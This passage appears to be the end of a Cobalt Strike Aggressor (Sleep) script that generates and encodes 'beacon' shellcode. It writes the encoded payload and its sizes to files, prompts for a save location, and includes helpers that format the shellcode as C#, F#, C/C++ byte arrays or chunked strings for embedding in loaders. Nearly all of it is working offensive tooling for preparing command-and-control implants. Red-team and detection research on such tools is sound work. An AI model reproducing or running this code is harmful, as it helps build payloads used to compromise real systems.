338 | if ($3['multiline'] eq "quoted") {
339 | $final_shellcode = format_multiline($encoded_shellcode);
340 | sleep(3 * 1000);
341 | }
342 |
343 | if ($3['multiline'] eq "chunks.push_back") {
344 | $final_shellcode = format_chunks($encoded_shellcode);
345 | sleep(3 * 1000);
346 | }
347 |
348 | ###### Shellcode writing section
349 |
350 | # Get final shellcode size and write to a file
351 | $final_size = strlen($final_shellcode);
352 | $finalsize_resource = openf(">".script_resource($FINALSIZE)."");
353 | writeb($finalsize_resource, $final_size);
354 | closef($finalsize_resource);
355 |
356 | # Write raw shellcode size to a file
357 | $rawsize_resource = openf(">".script_resource($RAWSIZE)."");
358 | writeb($rawsize_resource, $sc_size);
359 | closef($rawsize_resource);
360 |
361 | # Write shellcode to a file
362 | $resource = openf(">".script_resource($SCFILE)."");
363 | writeb($resource, $final_shellcode);
364 | closef($resource);
365 | sleep(3 * 1000);
366 |
367 | # Promt to save shellcode to a user location and filename
368 | $name = prompt_file_save("beacon", {
369 | local('$outfile');
370 | $outfile = openf("> $+ $1");
371 | writeb($outfile, $final_shellcode);
372 | closef($outfile);
373 | # Show raw and final shellcode size in popup message and script console
374 | println("RAW Shellcode size: " . $sc_size . "");
375 | println("Final Shellcode size: " . $final_size . "");
376 | show_message("Raw shellcode size is: $sc_size bytes, Final shellcode size is: $final_size bytes");
377 | });
378 | }
379 | }
380 |
381 | ###### Helper Functions Section
382 |
383 | # generate random string for variable substitution and keygens
384 | sub random_string {
385 | $limit = $1;
386 | @random_str = @();
387 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
388 | for ($x = 0; $x < $limit; $x++) {
389 | $n = rand(strlen($characters));
390 | add(@random_str, charAt($characters, $n));
391 | }
392 | return join('', @random_str);
393 | }
394 |
395 | # Format shellcode into C# type 0x90,0x90,0x90
396 | sub format_csharp {
397 | $key = $1;
398 | @fmt = str_chunk(transform($key, "hex"), 2);
399 | return "0x". join(",0x", @fmt);
400 | }
401 |
402 | # Format shellcode into F# type 0x90uy;0x90uy;0x90uy;
403 | sub format_fsharp {
404 | $key = $1;
405 | @fmt = str_chunk(transform($key, "hex"), 2);
406 | return "0x". join("uy\;0x", @fmt) ."uy\;";
407 | }
408 |
409 | # Format shellcode into C/C++ type \x90\x90\x90
410 | sub format_cpp {
411 | $key = $1;
412 | @fmt = str_chunk(transform($key, "hex"), 2);
413 | return "\\x". join("\\x", @fmt);
414 | }
415 |
416 | # Format shellcode into quoted multi-line output
417 | sub format_multiline {
418 | $key = $1;
419 | @fmt = str_chunk($key, $linelength);
420 | return "\"". join("\"\n\"", @fmt) ."\"";
421 | }
422 |
423 | # Format shellcode into chunks.push_back(""); multi-line output
424 | sub format_chunks {
425 | $key = $1;
426 | @fmt = str_chunk($key, $linelength);
427 | return "chunks.push_back(\"". join("\"\)\;\nchunks.push_back(\"", @fmt) ."\"\)\;";
428 | }
429 |
430 | # Run main generate_shellcode function
431 | generate_shellcode();
432 |
--------------------------------------------------------------------------------